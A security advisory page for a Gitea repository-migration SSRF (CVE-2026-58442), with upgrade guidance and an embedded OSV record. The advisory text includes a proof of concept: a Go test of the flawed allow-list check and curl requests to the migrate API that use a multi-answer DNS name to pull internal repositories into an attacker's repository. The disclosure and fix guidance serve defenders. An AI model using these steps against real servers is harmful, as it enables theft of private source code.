CVE-2026-58442: Gitea Repository Migration SSRF Vulnerability
MODERATECVE-2026-58442 is a MODERATE (CVSS 6.5) repository migration ssrf vulnerability (CWE-918: Server-Side Request Forgery (SSRF)) affecting Gitea libraries in the Go ecosystem. The issue involves repository migration ssrf via multi-answer dns allow-list bypass. Remediation is available by upgrading affected packages to version 1.27.0.
CVE-2026-58442 at a Glance
Security Impact
CVSS: 6.5
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N).
How to Fix CVE-2026-58442
To remediate this vulnerability, upgrade all affected Gitea dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade code.gitea.io/gitea to 1.27.0
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for code.gitea.io/gitea
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-58442, inspect your project dependencies for Gitea:
inspect dependencies for code.gitea.io/gitea
Analyze the terminal output to locate any version of Gitea in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.27.0), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-918: Server-Side Request Forgery (SSRF), where the web server receives a url or similar request from an upstream component and retrieves the contents of this url, but it does not sufficiently ensure that the request is being sent to the expected destination. In Gitea, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-58442 Affected Gitea Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
code.gitea.io/gitea
|
Go |
< 1.27.0
|
1.27.0
|
References
Frequently Asked Questions
What is CVE-2026-58442?
Which Gitea versions are affected?
What version fixes CVE-2026-58442?
Is code.gitea.io/gitea affected?
What is the CVSS score of CVE-2026-58442?
What CWE is associated with CVE-2026-58442?
How can I check Go dependencies for CVE-2026-58442?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-h2x6-g7q6-344v",
"modified" : "2026-07-21T20:37:45Z",
"published" : "2026-07-21T20:37:45Z",
"aliases" : [ "CVE-2026-58442" ],
"summary" : "Gitea: Repository migration SSRF via multi-answer DNS allow-list bypass",
"details" : "### Summary\n\nGitea's repository migration URL validation can be bypassed when a migration hostname resolves to multiple IP addresses. The validation logic accepts the destination if **any** resolved IP is allowed, even if another resolved IP is loopback, private, or otherwise blocked. The later `git clone` operation resolves the hostname again outside of that validation decision, so it can connect to the internal address.\n\nAn authenticated low-privilege user who can create repository migrations can use an attacker-controlled DNS name to make Gitea connect to internal-only Git services and import their contents into a repository controlled by the attacker.\n\n### Details\n\nThe issue is in `services/migrations/migrate.go`, in the migration allow/block-list check.\n\nCurrent logic computes whether any resolved IP is allowed:\n\n```go\nvar ipAllowed bool\nvar ipBlocked bool\nfor _, addr := range addrList {\n ipAllowed = ipAllowed || allowList.MatchIPAddr(addr)\n ipBlocked = ipBlocked || blockList.MatchIPAddr(addr)\n}\n```\n\nThen, when an allow-list is active, the host is accepted if the hostname matches or `ipAllowed` is true:\n\n```go\nif !allowList.IsEmpty() {\n if !allowList.MatchHostName(hostName) && !ipAllowed {\n return &git.ErrInvalidCloneAddr{Host: hostName, IsPermissionDenied: true}\n }\n}\n```\n\nThis means a hostname resolving to both:\n\n- an allowed public IP, e.g. `1.2.3.4`\n- a blocked internal IP, e.g. `127.0.0.1`\n\npasses validation because the public IP sets `ipAllowed = true`.\n\nThe actual repository import is later performed by `git clone --mirror` via `MigrateRepositoryGitData` / `gitrepo.CloneExternalRepo`. That git subprocess performs its own DNS resolution and is not tied to the specific IP set that was validated earlier. If the hostname resolves, rotates, or is re-bound to the internal address at clone time, Gitea can connect to a destination the migration filter would reject if supplied directly.\n\nThe direct internal URL is correctly blocked, but the multi-answer hostname is accepted.\n\n### PoC\n\nI verified the vulnerable predicate locally against Gitea checkout:\n\n```text\ne8654c7e062431a521636703f47339cde64644fd\n```\n\nusing Dockerized Go tests with `golang:1.26.4`.\n\nThe local test proves:\n\n- `checkByAllowBlockList(\"loopback.example.test\", [127.0.0.1])` is rejected.\n- `checkByAllowBlockList(\"mixed.example.test\", [1.2.3.4, 127.0.0.1])` is accepted.\n\nMinimal reproducer at the validation layer:\n\n```go\nfunc TestMigrationMultiAnswerAnyAllowed(t *testing.T) {\n old := setting.Migrations\n t.Cleanup(func() { setting.Migrations = old })\n\n setting.Migrations.AllowedDomains = \"\"\n setting.Migrations.BlockedDomains = \"\"\n setting.Migrations.AllowLocalNetworks = false\n require.NoError(t, Init())\n\n err := checkByAllowBlockList(\"mixed.example.test\", []net.IP{\n net.ParseIP(\"1.2.3.4\"),\n net.ParseIP(\"127.0.0.1\"),\n })\n require.NoError(t, err, \"mixed public+loopback answers should currently pass\")\n\n err = checkByAllowBlockList(\"loopback.example.test\", []net.IP{\n net.ParseIP(\"127.0.0.1\"),\n })\n require.Error(t, err, \"loopback-only answer should be rejected\")\n}\n```\n\nTo reproduce end-to-end:\n\n1. Run Gitea with repository migration enabled and `ALLOW_LOCALNETWORKS = false`.\n2. Create a normal non-admin user that can create repositories.\n3. Run an internal Git HTTP service reachable only from the Gitea server, for example on `127.0.0.1:18082`.\n4. Configure an attacker-controlled hostname so that DNS can return both a public address and `127.0.0.1`, or can return a public address during Gitea's pre-flight validation and `127.0.0.1` during the later git clone.\n5. Confirm the direct internal migration is rejected:\n\n```bash\ncurl -X POST http://GITEA/api/v1/repos/migrate \\\n -H \"Authorization: token USER_TOKEN\" \\\n -H \"Content-Type: application/json\" \\\n -d '{\n \"clone_addr\": \"http://127.0.0.1:18082/repo.git\",\n \"repo_name\": \"direct-internal\",\n \"service\": \"git\",\n \"private\": true\n }'\n```\n\nExpected direct result:\n\n```json\n{\"message\":\"You can not import from disallowed hosts.\"}\n```\n\n6. Start a migration from the attacker-controlled multi-answer hostname:\n\n```bash\ncurl -X POST http://GITEA/api/v1/repos/migrate \\\n -H \"Authorization: token USER_TOKEN\" \\\n -H \"Content-Type: application/json\" \\\n -d '{\n \"clone_addr\": \"http://mixed.example.test:18082/repo.git\",\n \"repo_name\": \"multidns-ssrf\",\n \"service\": \"git\",\n \"private\": true\n }'\n```\n\nExpected vulnerable result:\n\n- The migration request is accepted.\n- The git subprocess can connect to the internal address.\n- Internal repository contents are imported into the attacker's new Gitea repository.\n\n### Impact\n\nThis is a server-side request forgery in repository migration.\n\nAn authenticated user with permission to create repository migrations can make the Gitea server connect to internal-only network resources that are normally blocked by the migration SSRF filter. If the internal service is a Git repository or Git-compatible HTTP endpoint, its contents can be imported into an attacker-controlled repository and exfiltrated.\n\nPotentially impacted resources include:\n\n- internal Git repositories\n- localhost-only services\n- private network source-control services\n- metadata or internal infrastructure endpoints if reachable and compatible with the request path\n\nThe direct internal destination is rejected, but a multi-answer or rebindable DNS name can pass validation and later resolve to the internal address during the clone operation.\n\n### Suggested fix\n\nThe migration allow/block-list check should fail closed for multi-answer DNS:\n\n- reject if **any** resolved IP is blocked\n- require **all** resolved IPs to be allowed when an allow-list is active\n- treat an empty resolution result as not IP-allowed\n- ideally enforce the same destination policy at connection time, not only during pre-flight validation, to avoid DNS TOCTOU between validation and `git clone`\n\nFor example, instead of `ipAllowed = ipAllowed || allowList.MatchIPAddr(addr)`, initialize `ipAllowed` to `len(addrList) > 0` and combine with logical AND:\n\n```go\nipAllowed := len(addrList) > 0\nipBlocked := false\nfor _, addr := range addrList {\n ipAllowed = ipAllowed && allowList.MatchIPAddr(addr)\n ipBlocked = ipBlocked || blockList.MatchIPAddr(addr)\n}\n```",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Go",
"name" : "code.gitea.io/gitea"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "1.27.0"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/go-gitea/gitea/security/advisories/GHSA-h2x6-g7q6-344v"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/go-gitea/gitea"
}, {
"type" : "WEB",
"url" : "https://github.com/go-gitea/gitea/releases/tag/v1.27.0"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-200", "CWE-918" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2026-07-21T20:37:45Z",
"nvd_published_at" : null
}
}